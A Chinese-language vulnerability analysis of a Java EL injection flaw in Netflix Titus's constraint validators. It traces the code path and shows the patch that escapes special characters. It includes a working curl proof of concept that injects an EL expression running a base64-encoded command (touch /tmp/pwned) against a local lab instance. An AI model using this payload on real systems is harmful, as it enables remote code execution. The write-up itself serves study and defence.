漏洞通告

https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-002.md

Netflix Titus 是 Netflix 开发的容器管理平台,用来管理容器并提供集成到基础架构生态系统的功能。项目地址:https://github.com/Netflix/titus-control-plane,本次漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式,而且这部分错误信息是攻击者可控的,所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。

漏洞分析

根据漏洞的描述,可以看到漏洞问题出在对 buildConstraintViolationWithTemplate 函数的不当使用上,和今年的另一个 CVE-2020-10199,Nexus Repository Manager RCE 的原因相同。

Description:

Netflix Titus uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, different types of interpolation are supported, including Java EL expressions. If an attacker can inject arbitrary data in the error message template being passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument, they will be able to run arbitrary Java code.

对该代码进行全局搜索,可以看到 SchedulingConstraintSetValidator.javaSchedulingConstraintValidator.java 均使用了该函数,且函数参数是拼接而成的字符串。

Search Result

这两个类均存在漏洞且原因相同,这里就以 SchedulingConstraintValidator.java 为例进行分析:

/***/

package com.netflix.titus.api.jobmanager.model.job.sanitizer;

import ...

public class SchedulingConstraintValidator implements ConstraintValidator<SchedulingConstraintValidator.SchedulingConstraint, Map<String, String>> {

    @Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER})
    @Retention(RetentionPolicy.RUNTIME)
    @Documented
    @Constraint(validatedBy = {SchedulingConstraintValidator.class})
    public @interface SchedulingConstraint {

        String message() default "{SchedulingConstraint.message}";

        Class<?>[] groups() default {};

        Class<? extends Payload>[] payload() default {};

        /**
         * Defines several {@link SchedulingConstraint} annotations on the same element.
         *
         * @see SchedulingConstraint
         */
        @Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER})
        @Retention(RetentionPolicy.RUNTIME)
        @Documented
        @interface List {
            SchedulingConstraint value();
        }
    }

    @Override
    public void initialize(SchedulingConstraint constraintAnnotation) {
    }

    @Override
    public boolean isValid(Map<String, String> value, ConstraintValidatorContext context) {
        Set<String> namesInLowerCase = value.keySet().stream().map(String::toLowerCase).collect(Collectors.toSet());
        HashSet<String> unknown = new HashSet<>(namesInLowerCase);
        unknown.removeAll(JobConstraints.CONSTRAINT_NAMES);
        if (unknown.isEmpty()) {
            return true;
        }
        context.buildConstraintViolationWithTemplate("Unrecognized constraints " + unknown)
                .addConstraintViolation().disableDefaultConstraintViolation();
        return false;
    }
}

如果传入的 map 键名集合在全部转化为小写并移除了 JobConstraints.CONSTRAINT_NAMES 后,仍然不为空的话,就会拼接到 "Unrecognized constraints " + unknown,然后传递给 buildConstraintViolationWithTemplate 函数作为参数执行,所以只要控制了 unknown 变量即可执行任意 Java EL 表达式。

由于 JobConstraints.CONSTRAINT_NAMES 定义的主要是 uniquehost \ zonebalance 等单词,对后续构造 poc 无影响,所以可以忽略。

public class JobConstraints {

    public static final String EXCLUSIVE_HOST = "exclusivehost";

    public static final String UNIQUE_HOST = "uniquehost";

    public static final String ZONE_BALANCE = "zonebalance";

    public static final String ACTIVE_HOST = "activehost";

    public static final String AVAILABILITY_ZONE = "availabilityzone";

    public static final String MACHINE_ID = "machineid";

    public static final String MACHINE_GROUP = "machinegroup";

    public static final String MACHINE_TYPE = "machinetype";

    public static final String TOLERATION = "toleration";

    public static final Set<String> CONSTRAINT_NAMES = asSet(
            UNIQUE_HOST,
            EXCLUSIVE_HOST,
            ZONE_BALANCE,
            ACTIVE_HOST,
            AVAILABILITY_ZONE,
            MACHINE_ID,
            MACHINE_GROUP,
            MACHINE_TYPE,
            TOLERATION
    );
}

下一步继续关注 SchedulingConstraintValidator 在哪被使用,可以看到在本文件中就通过 @Constraint(validatedBy = {SchedulingConstraintValidator.class}) 注解到了接口SchedulingConstraint 上,然后查询该接口的引用,定位到 titus-control-plane/titus-api/src/main/java/com/netflix/titus/api/jobmanager/model/job/Container.java 文件。

Container

继续跟踪 Container 的引用,可以看到该类会作为 JobDescriptor 内的一个字段:

/.../

package com.netflix.titus.api.jobmanager.model.job;

import ...

/**
 */
@ClassFieldsNotNull
@ClassInvariant.List({
        @ClassInvariant(expr = "@asserts.notExceedsComputeResources(capacityGroup, container)", mode = VerifierMode.Strict),
        @ClassInvariant(expr = "@asserts.notExceedsIpAllocations(container, extensions)", mode = VerifierMode.Strict)
})
public class JobDescriptor<E extends JobDescriptor.JobDescriptorExt> {

    private static final DisruptionBudget DEFAULT_DISRUPTION_BUDGET = DisruptionBudget.newBuilder()
            .withDisruptionBudgetPolicy(SelfManagedDisruptionBudgetPolicy.newBuilder().build())
            .withDisruptionBudgetRate(UnlimitedDisruptionBudgetRate.newBuilder().build())
            .withTimeWindows(Collections.emptyList())
            .withContainerHealthProviders(Collections.emptyList())
            .build();

    /**
     * A marker interface for {@link JobDescriptor} extensions.
     */
    public interface JobDescriptorExt {
    }

    @Valid
    private final Owner owner;

    @Size(min = 1, message = "Empty string not allowed")
    private final String applicationName;

    @Template
    private final String capacityGroup;

    @Valid
    private final JobGroupInfo jobGroupInfo;

    @CollectionInvariants
    private final Map<String, String> attributes;

    @Valid
    private final Container container;

    @Valid
    private final DisruptionBudget disruptionBudget;

    /* 省略其他代码 */
}

JobDescriptor 对象可以通过 JobManagementResource 这个类内定义的 api 创建:

/.../

package com.netflix.titus.runtime.endpoint.v3.rest;

import ...

@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
@Api(tags = "Job Management")
@Path("/v3")
@Singleton
public class JobManagementResource {

    private final JobServiceGateway jobServiceGateway;
    private final SystemLogService systemLog;
    private final CallMetadataResolver callMetadataResolver;

    @Inject
    public JobManagementResource(JobServiceGateway jobServiceGateway,
                                 SystemLogService systemLog,
                                 CallMetadataResolver callMetadataResolver) {
        this.jobServiceGateway = jobServiceGateway;
        this.systemLog = systemLog;
        this.callMetadataResolver = callMetadataResolver;
    }

    @POST
    @ApiOperation("Create a job")
    @Path("/jobs")
    public Response createJob(JobDescriptor jobDescriptor) {
        String jobId = Responses.fromSingleValueObservable(jobServiceGateway.createJob(jobDescriptor, resolveCallMetadata()));
        return Response.status(Response.Status.ACCEPTED).entity(JobId.newBuilder().setId(jobId).build()).build();
    }
    /* 省略其他代码 */
}

所以漏洞最终的利用逻辑如下:

  1. 通过 POST 请求访问 URL /api/v3/jobs 创建 JobDescriptor 对象
  2. 程序内部由于请求数据而生成的 jobDescriptor.container.softConstraints 会调用 isValid 函数进行校验,校验失败,键名作为错误信息通过 buildConstraintViolationWithTemplate(0) 输出
  3. 由于键名是我们构造好的 Java EL 表达式,所以最后该表达式会被执行,进而成功 RCE

漏洞利用

环境构建

# 下载源码
git clone https://github.com/Netflix/titus-control-plane
cd titus-control-plane
# 回退到漏洞修复前的 commit
git reset --hard 8a8bd4c
# 启动 docker
docker-compose up -d

control plane

RCE

由于 SchedulingConstraintValidator 会对传入的 key 值做小写处理,不方便构造 poc,所以这里利用 SchedulingConstraintSetValidator 类内的相似漏洞来实现 RCE:

curl --location --request POST 'http://127.0.0.1:7001/api/v3/jobs' \
--header 'Content-Type: application/json' \
--data-raw '{
    "applicationName": "localtest",
    "owner": {
    	"teamEmail": "me@me.com"
    },
    "container": {
    	"image": {
      		"name": "alpine",
      		"tag": "latest"
    	},
    	"entryPoint": [
      		"/bin/sleep",
      		"1h"
    	],
    	"securityProfile": {
    		"iamRole": "test-role",
    		"securityGroups": [
    			"sg-test"
    		]
    	},
    	"softConstraints": {
    		"constraints": {
    			"#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
    		}
    	},
    	"hardConstraints": {
    		"constraints": {
    			"#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
    		}
    	}
    },
    "batch": {
    	"size": 1,
    	"runtimeLimitSec": "3600",
    	"retryPolicy":{
      		"delayed": {
      			"delayMs": "1000",
      			"retries": 3
    		}
    	}
    }
}'

可以看到成功在 docker 内创建了 /tmp/pwned 文件,说明 poc 执行成功。

RCE - Touch /tmp/pwned

漏洞修复

根据漏洞相关的 pull requests:

https://github.com/Netflix/titus-control-plane/pull/795/files/59b0d7d80b1dc3c194b5e7b59d2dff898514cc8c,可以定位对该漏洞的修复:

Fix Pull Request

可以看到 SchedulingConstraintSetValidator 由实现 ConstraintValidator 接口变成了继承自 AbstractConstraintValidator 类,然后 ConstraintValidatorContext 变成了 ConstraintValidatorContextWrapper,继续跟进该类的实现,可以看到还是通过对 ([}{$#]) 等危险的字符进行过滤的方式来修复漏洞:

package com.netflix.titus.common.model.sanitizer.internal;

import javax.validation.ConstraintValidatorContext;

public class ConstraintValidatorContextWrapper {

    private final ConstraintValidatorContext constraintValidatorContext;

    /**
     * Escape all special characters that participate in EL expressions so the the message string
     * cannot be classified as a template for interpolation.
     *
     * @param message string that needs to be sanitized
     * @return copy of the input string with '{','}','#' and '$' characters escaped
     */
    private static String sanitizeMessage(String message) {
        return message.replaceAll("([}{$#])", "\\\\$1");
    }

    public ConstraintValidatorContextWrapper(ConstraintValidatorContext context) {
        this.constraintValidatorContext = context;
    }

    public ConstraintValidatorContext.ConstraintViolationBuilder buildConstraintViolationWithStaticMessage(String message) {
        String sanitizedMessage = sanitizeMessage(message);
        return this.constraintValidatorContext.buildConstraintViolationWithTemplate(sanitizedMessage);
    }
}

参考链接